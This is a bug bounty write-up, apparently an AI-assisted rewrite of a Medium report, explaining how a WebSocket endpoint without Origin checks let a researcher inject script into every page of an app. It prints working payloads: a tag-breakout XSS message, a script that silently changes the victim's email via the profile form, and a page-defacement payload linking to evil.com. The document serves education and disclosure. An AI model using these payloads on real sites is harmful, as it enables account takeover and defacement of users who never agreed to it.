Skip to content
XSS Write-up Intermediate

Exploiting websocket application wide XSS

The WebSocket endpoint accepted connections from any origin and reflected messages into the page HTML without sanitisation. An attacker could send a crafted message to execute JavaScript in the victim's browser, leading to application-wide XSS and CSRF.

Osama Avvan Follow

Published on medium.com

Assalam u Alikum, it’s been a while I haven’t contributed to this wonderful community so I am back with a new write up about WebSocket which is fun to exploit. So first of all what is WebSocket?

Osama Avvan, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

This write-up is about exploiting WebSockets in a web application. The researcher was hunting on a private program and found a WebSocket endpoint used by the dashboard of the target domain. The endpoint was used for two-way communication between the client and the server, and the application rendered data received over that channel into the page. By abusing the lack of Origin checking on the WebSocket handshake and the way the client handled incoming messages, the researcher achieved application-wide XSS, CSRF and content injection. The bug was accepted as a P1.

A short recap of what WebSockets are, since the whole attack rests on their behaviour: WebSockets allow the client and server to create a full-duplex (two-way) communication channel, so both sides can send and receive messages asynchronously. Unlike some API endpoints where developers strictly check the Origin header value, WebSocket handlers often ignore it, which allows any arbitrary Origin to make a connection to the WebSocket instance of the web app.

The format of a WebSocket URL looks like wss://readact.com, where wss:// is used for a secure SSL connection like https://. Some web apps also use ws://, which is like http://.

Setup

The researcher was testing a private program, so the target host is referred to as ex.target.com. No account details, roles or tool versions are given. The tools used were:

  • BurpSuite, in particular the WebSockets history tab and Repeater.
  • The browser developer tools, in particular the Network tab and the JavaScript console.
  • The public echo page at https://www.websocket.org/echo.html for a quick connection test.

The precondition for the attack is a WebSocket endpoint that accepts connections from arbitrary Origins, plus client-side code that renders data received from the server into the DOM.

Finding it

There are several places to look for a WebSocket endpoint:

  1. The handiest and easiest way is the BurpSuite WebSockets history tab:
Text
BurpSuite > Proxy > WebSockets history

There you see the history of WebSocket requests.

  1. The Network tab of the browser developer tools. If a WebSocket connection request is sent to the server, you will find it there.

  2. The JavaScript files or the page source of the web app, which is where there is a 99% chance of finding the endpoint if the app uses WebSockets. Search for these keywords in the JavaScript file:

Text
wss://

ws://

websocket

In this case, while inspecting the source code of the dashboard page of the domain, the researcher came across this piece of code:

JavaScript
var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; var ws = new WebSocket(wsUri);

This confirmed that the web app was using WebSocket. The next question was whether the endpoint accepts connections from other domains.

Exploitation

Step 1: Confirm the endpoint accepts other Origins

There are several ways to check this. The quick one is to open https://www.websocket.org/echo.html, enter the WebSocket URL/endpoint in the Location textbox and click Connect. In the Log box you get the response: if the connection was successful it prints Connected, otherwise it prints DISCONNECTED.

You can also check with BurpSuite: from Repeater, send the request with your Origin in the Origin header value. If the server responds with status code 101 and your specified Origin is reflected, or if you see a * in the Origin header in the response, the connection was successful.

For this case the researcher opened a new tab and executed this code from the console:

JavaScript
var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; var ws = new WebSocket(wsUri);ws.onopen = function(e) { console.log(e);}

The connection was established and the response appeared in the console.

From the original on medium.com

At this point the researcher could send data to the server and receive data from the server, building a two-way communication channel.

Step 2: Listen to the traffic

A listener was set up to observe incoming and outgoing communication from the server:

JavaScript
ws.onmessage = function(e) { console.log(e.data);}

There was nothing confidential to listen for.

Step 3: Probe how the client handles messages

The researcher then sent a message to the server to see how it would be handled on the client side:

JavaScript
ws.send(“hello you are vulnerable”);

There was no reflection of the message in the client-side source code. After reading the JS files of the web app, the researcher found the function that handled messages received from the WebSocket. The data received from the server was checked in a conditional statement:

JavaScript
ws.onmessage = function(e) { if (e.data.indexOf(“||”) > 0) {   var messs = e.data.split(“||”);   let alertId = messs[0];   var type = messs[1];   let alertDom = messagee(alertId);  }}

So the data returned by the server had to contain ||. If the condition was fulfilled, the data was rendered in the HTML of the page inside a tag.

Step 4: Confirm the data lands inside the tag

To confirm that the data is placed inside the tag, the researcher sent a message to the server from the connected WebSocket instance:

JavaScript
ws.onopen = function(e)        {            ws.send("hello||you are vulnerable");        };
From the original on medium.com

It worked.

Step 5: Break out of the tag and get XSS

To perform XSS, the researcher only had to break out of the <a> tag. The code used was:

HTML
<script language=”javascript” type=”text/javascript”>var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’;var ws = new WebSocket(wsUri);ws.onopen = function(e){  console.log(e);  var a = `”><script>alert(‘XSS’)<\/script>||leetwa`;  ws.send(a);}ws.onmessage = function (evt){  var received_msg = evt.data;  console.log(evt.data);}ws.onclose = function(a){ console.log(a);}</script>

The result was XSS on all pages of the web app that were using WebSockets. In the same way, the researcher was able to perform CSRF attacks on all pages using WebSockets and to modify the content of those pages, making the XSS, CSRF and content injection application-wide.

Step 6: Malicious request to change the victim's email

The researcher built a payload that performs a malicious request to change the victim's email:

JavaScript
ws.onopen = function(e){console.log(e);const payload = `(function(){const $ = e => document.querySelector(e);$(“#lastName”).value = “Hacked”;$(“#firstName”).value = “Account”;`$(“#company”).value = “Bad Company”;$(“#jobTitle”).value = “Hacker”;$(“#email”).value = “[redacted]”;$(“.btn-primary”).click();`})();`var a = `”><script>${payload}<\/script>||leetwa`ws.send(a);`};

The researcher hosted this code on a web server and only had to send it to the victim: the victim's email would be changed, or the XSS would execute on all pages of the web app.

Step 7: Replace the HTML of open pages

Alternatively, the researcher could change the HTML of all open pages with this code:

JavaScript
ws.onopen = function(e){console.log(e);const payload = “<center><h1>You have been Hacked</h1><br> <br><h1>Contact here: <a href=’https://evil.com'>Evil.com</a></h1></center>"var a = `”><script>document.querySelector(“body”).innerHTML = “${payload}”<\/script>||leetwa``ws.send(a);};
From the original on medium.com

Root cause

The WebSocket endpoint did not restrict which Origins could connect, so any site could open a connection to it. On top of that, the client-side message handler trusted the data received from the server: it only checked that the data contained ||, split on it, and rendered the result into the HTML of the page inside a tag without sanitising it. The researcher broke out of the tag with a message containing "> followed by a script, which injected a script.

Impact

The researcher got XSS on all pages of the web app that were using WebSockets. With that, the attacker can perform CSRF-style actions on the victim's behalf, such as changing the victim's email, and can replace the HTML of all open pages. The report does not give further details about the victim population or any additional preconditions beyond the victim loading the attacker's code.

Fix

The report does not describe a fix. Based on the root cause, the endpoint should validate the Origin header on the WebSocket handshake and reject connections from unexpected Origins, and the client should treat data received from the server as text and encode it before inserting it into the DOM rather than rendering it as HTML.

Variants to test

  1. Search JavaScript files and page source for wss://, ws:// and websocket to find endpoints, then test the handshake from a different Origin. A positive result is a 101 response with your Origin reflected or a * in the Origin header.
  2. Use the BurpSuite WebSockets history tab and the browser Network tab to find endpoints that are not referenced in the source.
  3. Send a message containing the delimiter the client expects (here ||) and observe whether the data is rendered into the DOM. A positive result is your message appearing in the page source.
  4. Try to break out of the surrounding tag with "> followed by a script payload and the expected delimiter. A positive result is script execution on the pages that use the WebSocket.
  5. Build a payload that fills and submits a form on the victim's behalf, as in the email-change example.
  6. Build a payload that replaces the page body. A positive result is the attacker's HTML rendering on all open pages of the application.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A security researcher was testing a private bug bounty program, meaning a company had invited selected testers to look for problems in its systems in exchange for a reward. While looking at the source code of a dashboard page, the researcher found that the web application used something called a WebSocket. A WebSocket is a way for a web page and a server to keep a conversation open in both directions at the same time, instead of the page asking a question and the server answering once. Think of the difference between sending letters (the normal web: you ask, you get one reply) and a phone call (a WebSocket: both sides can talk whenever they want, for as long as the call lasts).

The researcher discovered two problems that, combined, were serious. First, the WebSocket accepted a connection from any website, not just from the application's own pages. Second, the code in the browser that handled messages coming back from the server took whatever text arrived and placed it into the page as if it were part of the page's own HTML, without checking it. HTML is the language used to describe what a web page contains: headings, links, buttons and so on. If an attacker can slip their own HTML into a page, they can also slip in a script, which is a small program the browser will run. That is called cross-site scripting, usually shortened to XSS.

Because the WebSocket was used by many pages of the application, the researcher could make the injected script run on all of those pages at once. The researcher could also make the victim's browser perform actions on the victim's behalf, such as changing the victim's email address, which is called cross-site request forgery, or CSRF. And the researcher could replace the visible content of every open page, which is called content injection. The bug was accepted as a P1, which in bug bounty terms is a priority-one, the highest severity rating.

Background: what a WebSocket is

Before going further, it helps to understand the technology at the centre of this story.

WebSockets allow the client and server to create a full-duplex (two-way) communication channel, so the client and the server can truly communicate asynchronously. In plain words: the browser (the client) and the computer that runs the website (the server) can each send messages to the other at any moment, without waiting for a request first. "Asynchronous" just means the two sides do not have to take turns in a fixed order.

When a browser opens a normal web page, it sends a request and the server sends back a response. That is a one-off exchange. A WebSocket starts with a similar request, called a handshake, and then the connection stays open. Both sides can keep sending messages over it until one of them closes it.

One detail of that handshake matters a lot here. When a browser opens a WebSocket, it includes an Origin header in the handshake request. A header is a small piece of extra information attached to a request, like the label on a parcel. The Origin header tells the server which website the request is coming from. Some API endpoints (an API is a way for one piece of software to talk to another, for example a web page asking a server for data) strictly check the Origin header value. WebSocket handlers, however, often ignore it. The result is that any arbitrary Origin, meaning any website at all, can make a connection to the WebSocket instance of the web app. That is the first weakness.

The format of a WebSocket URL looks like this:

Text
wss://readact.com

Here wss:// is used for a secure SSL connection, like https://. SSL is the encryption layer that keeps the traffic between your browser and a website private. Some web apps also use ws://, which is like http://, meaning the connection is not encrypted.

Finding the WebSocket endpoint

An endpoint is simply the address at which a service can be reached, like a door number in a long street. To attack a WebSocket, you first have to find its address. The researcher lists three places to look.

  1. The handiest and easiest way is the BurpSuite WebSockets history tab. BurpSuite is a tool that sits between your browser and the website and records everything that passes between them, so you can inspect it. The path to the tab is:
Text
BurpSuite > Proxy > WebSockets history

There you will see all the history of WebSocket requests. In other words, every WebSocket conversation the browser has had while BurpSuite was watching is listed there, with its address.

  1. The Network tab of your browser developer tools. Every modern browser has built-in developer tools, usually opened with a key such as F12. The Network tab lists every request the page makes. If a WebSocket connection request is sent to the server, you will find it there.

  2. The JavaScript files or the page source of the web app. JavaScript is the programming language that runs inside web pages and makes them interactive. The page source is the raw text the browser received to build the page. If the app uses WebSockets, there is a 99% chance of finding the endpoint in one of these. Search for these keywords in the JavaScript file:

Text
wss://

ws://

websocket

Searching for these three strings is like looking for the word "phone" in a document to find the phone number: the address of a WebSocket always starts with wss:// or ws://, and the code that creates one usually mentions websocket somewhere nearby.

In this case, while inspecting the source code of the dashboard page of the domain, the researcher came across this piece of code:

JavaScript
var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; var ws = new WebSocket(wsUri);

Line by line:

  • var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; stores the address of the WebSocket in a variable called wsUri. A variable is a named box that holds a value. The host name ex.target.com is a placeholder for the real target, because the program was private.
  • var ws = new WebSocket(wsUri); creates a new WebSocket object using that address and stores it in a variable called ws. From this point on, the page can use ws to send and receive messages.

Seeing this confirmed that the web app was using WebSocket. The next question was whether the endpoint accepts connections from other domains. A domain is a website's name, such as example.com. If the endpoint only accepts connections from its own domain, an attacker's page cannot use it. If it accepts connections from anywhere, the attacker's page can.

Step 1: Confirm the endpoint accepts other Origins

There are several ways to check this. The quick one uses a public test page. Open https://www.websocket.org/echo.html, enter the WebSocket URL or endpoint in the Location textbox and click Connect. An echo service is a server that simply sends back whatever you send it, which makes it useful for testing. In the Log box you get the response: if the connection was successful it prints Connected, otherwise it prints DISCONNECTED.

You can also check with BurpSuite. From Repeater, which is the part of BurpSuite that lets you edit a request and send it again, send the request with your Origin in the Origin header value. If the server responds with status code 101 and your specified Origin is reflected, or if you see a * in the Origin header in the response, the connection was successful. A status code is a three-digit number the server sends back to say how the request went; 101 means the server is switching protocols, which is exactly what happens when a WebSocket connection is opened. "Reflected" means your value appears back in the response, showing the server accepted it.

For this case the researcher opened a new tab and executed this code from the console. The console is a panel in the browser developer tools where you can type JavaScript and run it directly on the page you have open.

JavaScript
var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; var ws = new WebSocket(wsUri);ws.onopen = function(e) { console.log(e);}

Line by line:

  • var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; stores the WebSocket address, the same one found in the page source.
  • var ws = new WebSocket(wsUri); opens the connection to that address.
  • ws.onopen = function(e) { console.log(e);} tells the browser what to do when the connection opens. onopen is an event handler, meaning a function that runs when a particular event happens. Here, when the connection opens, it prints the event object e to the console with console.log. Seeing that output means the connection really opened.

The connection was established and the response appeared in the console.

From the original on medium.com

At this point the researcher could send data to the server and receive data from the server, building a two-way communication channel. In everyday terms, the phone call was connected and both sides could speak.

Step 2: Listen to the traffic

Next, a listener was set up to observe incoming and outgoing communication from the server:

JavaScript
ws.onmessage = function(e) { console.log(e.data);}

Line by line:

  • ws.onmessage = function(e) { ... } sets the handler that runs every time a message arrives from the server. onmessage is the event that fires on each incoming message.
  • console.log(e.data); prints the contents of the message. e.data is the actual text the server sent.

The reason for this step is to see what kind of information travels over the channel. A token, in this context, is a short string that proves who you are, a bit like a wristband at an event. There was nothing confidential to listen for, so the researcher moved on to the next question: what happens to messages the client sends?

Step 3: Probe how the client handles messages

The researcher then sent a message to the server to see how it would be handled on the client side:

JavaScript
ws.send(“hello you are vulnerable”);

Line by line:

  • ws.send(...) sends a text message over the open WebSocket. The text here is hello you are vulnerable, chosen to be easy to spot if it comes back anywhere.

There was no reflection of the message in the client-side source code. In other words, the text did not simply appear back in the page. Something more interesting was going on.

After reading the JS files of the web app, the researcher found the function that handled messages received from the WebSocket. The data received from the server was checked in a conditional statement:

JavaScript
ws.onmessage = function(e) { if (e.data.indexOf(“||”) > 0) {   var messs = e.data.split(“||”);   let alertId = messs[0];   var type = messs[1];   let alertDom = messagee(alertId);  }}

Line by line:

  • ws.onmessage = function(e) { ... } again sets the handler for incoming messages.
  • if (e.data.indexOf(“||”) > 0) { ... } is a conditional statement, meaning code that only runs when a condition is true. indexOf looks for a piece of text inside another piece of text and returns its position. Here it checks whether the incoming message contains the two characters || somewhere after the very first position. || is just a pair of vertical bars, used here as a separator between two parts of a message.
  • var messs = e.data.split(“||”); splits the message into pieces wherever || appears and stores the pieces in an array called messs. An array is an ordered list of values.
  • let alertId = messs[0]; takes the first piece, at position 0, and calls it alertId.
  • var type = messs[1]; takes the second piece, at position 1, and calls it type.
  • let alertDom = messagee(alertId); passes the first piece to a function called messagee, which presumably builds something for the page. alertDom would then hold the result.

So the data returned by the server had to contain ||. If the condition was fulfilled, the data was rendered in the HTML of the page inside a tag. A tag is a piece of HTML markup, such as <a> for a link or <div> for a block of content. "Rendered" means the browser turned that text into visible page content. The important point is that the text was being placed into the page as HTML, not as plain text. Plain text is harmless; HTML can contain scripts.

Step 4: Confirm the data lands inside the tag

To confirm that the data is placed inside the tag, the researcher sent a message to the server from the connected WebSocket instance:

JavaScript
ws.onopen = function(e)        {            ws.send("hello||you are vulnerable");        };

Line by line:

  • ws.onopen = function(e) { ... }; sets what happens when the connection opens.
  • ws.send("hello||you are vulnerable"); sends a message that contains ||, so it satisfies the condition found in the previous step. The first part is hello, the second part is you are vulnerable.
From the original on medium.com

It worked. The message was rendered into the page inside the tag, which confirmed the theory: whatever text arrives over the WebSocket, as long as it contains ||, ends up as HTML in the page.

Step 5: Break out of the tag and get XSS

Now the researcher had everything needed for XSS. XSS, or cross-site scripting, means getting your own JavaScript to run inside someone else's web page, as if it were part of that page. Once your script runs there, it can do anything the page itself could do: read what the user sees, click buttons, send requests as the user. The everyday comparison is slipping a page into someone's notebook that looks like it belongs there, and the reader follows it without noticing.

To perform XSS, the researcher only had to break out of the <a> tag. The data was being placed inside a link tag, so the trick was to close that tag early and start a new piece of HTML. The code used was:

HTML
<script language=”javascript” type=”text/javascript”>var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’;var ws = new WebSocket(wsUri);ws.onopen = function(e){  console.log(e);  var a = `”><script>alert(‘XSS’)<\/script>||leetwa`;  ws.send(a);}ws.onmessage = function (evt){  var received_msg = evt.data;  console.log(evt.data);}ws.onclose = function(a){ console.log(a);}</script>

Line by line:

  • <script language=”javascript” type=”text/javascript”> opens a script block. This is the outer wrapper, the code that the attacker would get the victim's browser to run.
  • var wsUri = ‘wss://ex.target.com//ex-new/portal/websocket’; stores the WebSocket address.
  • var ws = new WebSocket(wsUri); opens the connection.
  • console.log(e); prints the open event, for debugging.
  • var a = ”><script>alert(‘XSS’)</script>||leetwa; builds the payload. The backticks make it a template literal, which is just a way of writing a string in JavaScript. The payload starts with ">, which closes the surrounding tag and its attribute, then opens a new <script> that calls alert('XSS'), a popup showing the text XSS. The closing script tag is written as <\/script> with a backslash so that the outer script does not end early. Finally ||leetwa is appended so the || condition in the message handler is satisfied.
  • ws.send(a); sends the payload over the WebSocket.
  • ws.onmessage = function (evt){ ... } handles messages coming back, storing the data in received_msg and printing it.
  • ws.onclose = function(a){ console.log(a);} handles the connection closing and prints the close event.

The result was XSS on all pages of the web app that were using WebSockets. In the same way, the researcher was able to perform CSRF attacks on all pages using WebSockets and to modify the content of those pages, making the XSS, CSRF and content injection application-wide. CSRF, or cross-site request forgery, means making the victim's browser send a request that the victim did not intend, using the victim's existing logged-in session. A session is the state of being logged in; the browser proves it with a cookie or token, like a stamp on your hand that lets you back into a venue.

Step 6: Malicious request to change the victim's email

The researcher built a payload that performs a malicious request to change the victim's email:

JavaScript
ws.onopen = function(e){console.log(e);const payload = `(function(){const $ = e => document.querySelector(e);$(“#lastName”).value = “Hacked”;$(“#firstName”).value = “Account”;`$(“#company”).value = “Bad Company”;$(“#jobTitle”).value = “Hacker”;$(“#email”).value = “[redacted]”;$(“.btn-primary”).click();`})();`var a = `”><script>${payload}<\/script>||leetwa`ws.send(a);`};

Line by line:

  • console.log(e); prints the open event.
  • const payload = (function(){ ... })();; builds the inner script that will do the damage. The (function(){ ... })() pattern is an immediately invoked function expression, which just means a function that runs as soon as it is defined.
  • const $ = e => document.querySelector(e); defines a short helper called $ that finds an element on the page by its selector. document.querySelector is the browser function that looks up page elements. A selector is a pattern like #email that identifies an element.
  • $(“#lastName”).value = “Hacked”; finds the field whose id is lastName and sets its value to Hacked.
  • $(“#firstName”).value = “Account”; does the same for the first name field.
  • $(“#company”).value = “Bad Company”; sets the company field.
  • $(“#jobTitle”).value = “Hacker”; sets the job title field.
  • $(“#email”).value = “[redacted]”; sets the email field to the attacker's address.
  • $(“.btn-primary”).click(); finds the main submit button and clicks it, submitting the form without the victim doing anything.
  • var a = ”><script>${payload}</script>||leetwa; wraps the inner script in the same breakout payload as before, inserting the payload variable where the script body goes, and appending ||leetwa to satisfy the || condition.
  • ws.send(a); sends the whole thing over the WebSocket.

The researcher hosted this code on a web server and only had to send it to the victim: the victim's email would be changed, or the XSS would execute on all pages of the web app. Because the target accepts connections from any Origin, the victim's browser happily connects, and the injected message does the rest.

Step 7: Replace the HTML of open pages

Alternatively, the researcher could change the HTML of all open pages with this code:

JavaScript
ws.onopen = function(e){console.log(e);const payload = “<center><h1>You have been Hacked</h1><br> <br><h1>Contact here: <a href=’https://evil.com'>Evil.com</a></h1></center>"var a = `”><script>document.querySelector(“body”).innerHTML = “${payload}”<\/script>||leetwa``ws.send(a);};

Line by line:

  • console.log(e); prints the open event.
  • const payload = “<center><h1>You have been Hacked</h1><br> <br><h1>Contact here: <a href=’https://evil.com'>Evil.com</a></h1></center>" builds the replacement HTML. <center> centres its contents, <h1> is a large heading, <br> is a line break, and the <a> tag is a link pointing to https://evil.com. The visible message tells the victim they have been hacked and directs them to the attacker's site.
  • var a = ”><script>document.querySelector(“body”).innerHTML = “${payload}”</script>||leetwa`` builds the breakout payload. document.querySelector("body") finds the page's body element, and setting its innerHTML replaces everything inside it with the attacker's HTML. The ${payload} inserts the HTML built above, and ||leetwa satisfies the || condition.
From the original on medium.com

Why it worked

The WebSocket endpoint did not restrict which Origins could connect, so any site could open a connection to it. On top of that, the client-side message handler trusted the data received from the server: it only checked that the data contained ||, split on it, and rendered the result into the HTML of the page inside a tag without sanitising it. Sanitising means cleaning input so that dangerous characters cannot do anything. The researcher broke out of the tag with a message containing "> followed by a script, which injected a script.

What an attacker could do

The researcher got XSS on all pages of the web app that were using WebSockets. "In the context of" means the script runs as if it came from the target site, with the victim's logged-in session. With that, the attacker can perform CSRF-style actions on the victim's behalf, such as changing the victim's email, and can replace the HTML of all open pages. The report does not give further details about the victim population or any additional preconditions beyond the victim loading the attacker's code.

How to fix it

The report does not describe a fix. Based on the root cause, the endpoint should validate the Origin header on the WebSocket handshake and reject connections from unexpected Origins, and the client should treat data received from the server as text and encode it before inserting it into the DOM rather than rendering it as HTML. The DOM, or Document Object Model, is the browser's in-memory model of the page; encoding means turning characters like < into harmless equivalents so they display as text instead of being interpreted as markup.

Things to try yourself

  1. Search JavaScript files and page source for wss://, ws:// and websocket to find endpoints, then test the handshake from a different Origin. A positive result is a 101 response with your Origin reflected or a * in the Origin header.
  2. Use the BurpSuite WebSockets history tab and the browser Network tab to find endpoints that are not referenced in the source.
  3. Send a message containing the delimiter the client expects (here ||) and observe whether the data is rendered into the DOM. A positive result is your message appearing in the page source.
  4. Try to break out of the surrounding tag with "> followed by a script payload and the expected delimiter. A positive result is script execution on the pages that use the WebSocket.
  5. Build a payload that fills and submits a form on the victim's behalf, as in the email-change example.
  6. Build a payload that replaces the page body. A positive result is the attacker's HTML rendering on all open pages of the application.

Glossary

  • API: a way for one piece of software to talk to another, for example a web page asking a server for data.
  • Array: an ordered list of values in JavaScript.
  • Asynchronous: not forced to happen in a fixed order; each side can act whenever it wants.
  • BurpSuite: a tool that sits between your browser and a website and records and lets you edit the traffic.
  • Conditional statement: code that only runs when a condition is true.
  • Console: a panel in the browser developer tools where you can type and run JavaScript on the open page.
  • Content injection: putting attacker-controlled content into a page so it appears as part of the site.
  • Cookie: a small piece of data the browser stores for a site, often used to prove you are logged in.
  • Cross-site request forgery (CSRF): making the victim's browser send a request the victim did not intend, using their logged-in session.
  • Cross-site scripting (XSS): getting your own JavaScript to run inside someone else's web page.
  • Delimiter: a character or sequence used to separate parts of a message, here ||.
  • DOM (Document Object Model): the browser's in-memory model of the page, which scripts can read and change.
  • Domain: a website's name, such as example.com.
  • Echo service: a server that sends back whatever you send it, useful for testing.
  • Element: a single piece of a page, such as a field, a button or a heading.
  • Encode: turn characters into harmless equivalents so they display as text instead of being interpreted as markup.
  • Endpoint: the address at which a service can be reached.
  • Event handler: a function that runs when a particular event happens, such as a connection opening or a message arriving.
  • Full-duplex: a connection where both sides can send and receive at the same time.
  • Handshake: the initial exchange that opens a connection, including the Origin header.
  • Header: extra information attached to a request or response, like a label on a parcel.
  • HTML: the language used to describe what a web page contains.
  • Immediately invoked function expression: a function that runs as soon as it is defined.
  • JavaScript: the programming language that runs inside web pages and makes them interactive.
  • Origin: the website a request comes from, sent in the Origin header.
  • P1: priority one, the highest severity rating in a bug bounty program.
  • Page source: the raw text the browser received to build the page.
  • Payload: the piece of code or data an attacker sends to trigger a vulnerability.
  • Rendered: turned into visible page content by the browser.
  • Sanitise: clean input so dangerous characters cannot do anything.
  • Selector: a pattern such as #email that identifies an element on the page.
  • Session: the state of being logged in, usually proven by a cookie or token.
  • SSL: the encryption layer that keeps traffic between browser and website private.
  • Status code: a three-digit number the server sends back to say how a request went; 101 means switching protocols.
  • Tag: a piece of HTML markup, such as <a> for a link.
  • Template literal: a way of writing a string in JavaScript using backticks, which can include other values.
  • Token: a short string that proves who you are.
  • Variable: a named box that holds a value.
  • WebSocket: a way for a web page and a server to keep a two-way conversation open.
  • Wildcard: a symbol such as * meaning "anything is allowed".

More by Osama Avvan

View all

7 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.